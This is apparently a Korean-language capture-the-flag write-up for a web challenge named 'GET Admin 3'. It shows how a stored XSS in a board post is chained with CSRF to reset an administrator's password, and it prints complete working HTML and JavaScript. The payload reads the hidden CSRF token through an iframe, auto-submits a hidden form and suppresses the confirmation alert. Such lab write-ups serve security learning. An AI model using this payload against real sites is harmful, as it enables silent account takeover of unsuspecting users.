[Web] GET Admin 3

개요

CSRF 공격으로 계정 비밀번호를 변경하여 계정을 탈취하는 문제입니다.

계정 생성

계정이름은 bob, 비밀번호는 1234로 계정을 생성하였습니다. 동시에 bob_admin 계정이 생성되며 해당 계정을 탈취하는 것이 목적입니다.

회원 정보 수정 프로세스 분석

마이페이지에서 비밀번호를 변경해보고 BurpSuite을 이용하여 요청과 응답을 분석해보겠습니다.

마이페이지에서 비밀번호를 0000으로 변경합니다.

회원 정보 수정 프로세스가 정상적으로 처리를 완료하면 알림 창이 출력됩니다. 관리자가 눈치채지 못하도록 알림 창을 가릴 필요가 있습니다.

BurpSuite으로 회원 정보 수정 프로세스의 요청에서 pw 파라미터에 변경할 비밀번호와 csrf_token 파라미터로 토큰을 전송한 것을 확인할 수 있었습니다.

토큰은 마이페이지 접속시 랜덤으로 부여되며 해당 페이지 <input> 태그로 숨겨져 있습니다.

<input type="hidden" name="csrf_token" value="토큰 값"/>

XSS 취약점 포인트 분석

POST 방식으로 form을 직접 작성하여 관리자가 직접 회원 정보 수정 프로세스로 제출하도록 해야 합니다. 때문에 XSS 취약점 포인트를 찾아서 이용해보겠습니다.

게시판 게시글 작성 페이지에서 HTML 기호 사용이 가능한지 확인하기 위해 글 제목에는 title <'">, 글 내용에는 content <'">를 넣어 게시글을 저장합니다.

게시글을 열람하여 응답을 통해 HTML 기호 사용이 가능하다는 것을 확인하였습니다.

CSRF 코드 작성

회원 정보 수정 프로세스를 해당 <iframe> 요소에 로드합니다.

<iframe name="procFrame" style="display: none;" sandbox="allow-scripts"></iframe>
  • sandbox 속성을 통해 회원 정보가 수정되었을 때 스크립트는 실행되되 알림 창이 출력되는 것은 막습니다.

회원 정보 수정 프로세스로 전송할 폼을 작성합니다. csrf_token 값은 랜덤하게 동적으로 생성되는 값이기 때문에 스크립트를 통해 넣어줄 것입니다.

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="myform" target="procFrame" style="display: none;">
    <input name="pw" value="0000"/>
    <input name="csrf_token"/>
</form>

폼에 토큰 값을 넣어 보내기 위해 <iframe> 태그로 마이페이지를 로드하여 토큰 값을 가져옵니다. 그리고 폼을 전송합니다.

<script>
    var mypage = document.createElement('iframe');
    mypage.src = "http://ctf.segfaulthub.com:7575/csrf_3/mypage.php";
    mypage.style = "display: none;";

    document.body.appendChild(mypage);

    mypage.onload = function() {
        var doc = mypage.contentDocument;
        var token = doc.getElementsByName('csrf_token')[0].value;
        document.getElementsByName('csrf_token')[0].value = token;
        document.getElementById('myform').submit();
    }
</script>

완성된 코드입니다.

<iframe name="procFrame" style="display: none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="myform" target="procFrame" style="display: none;">
    <input name="pw" value="0000"/>
    <input name="csrf_token"/>
</form>
<script>
    var mypage = document.createElement('iframe');
    mypage.src = "http://ctf.segfaulthub.com:7575/csrf_3/mypage.php";
    mypage.style = "display: none;";

    document.body.appendChild(mypage);

    mypage.onload = function() {
        var doc = mypage.contentDocument;
        var token = doc.getElementsByName('csrf_token')[0].value;
        document.getElementsByName('csrf_token')[0].value = token;
        document.getElementById('myform').submit();
    }
</script>

공격 테스트

코드를 삽입하여 게시글을 작성합니다.

저장된 게시물을 열람했을 때 관리자가 눈치챌만한 요소는 발생하지 않았습니다.

BurpSuite으로 확인한 요청입니다. pw 파라미터에 넣은 값과 마이페이지에서 가져온 토큰 값이 정상적으로 전송되었습니다.

BurpSuite으로 확인한 응답입니다. 실제로 발생하지는 않았지만 모두 정상적으로 처리되었습니다.

Flag 회수

관리자가 비밀번호 변경 코드가 삽입된 게시물을 열람합니다.

비밀번호 0000을 입력하여 관리자 계정에 로그인합니다.

로그인에 성공하면 flag가 출력됩니다.

'CTF' 카테고리의 다른 글

[Web] Web Shell 2  (3) 2025.07.15
[Web] Web Shell 1  (0) 2025.07.15
[Web] GET Admin 2  (1) 2025.06.30
[Web] GET Admin 1  (0) 2025.06.30
[Web] Steal Info 2  (0) 2025.06.24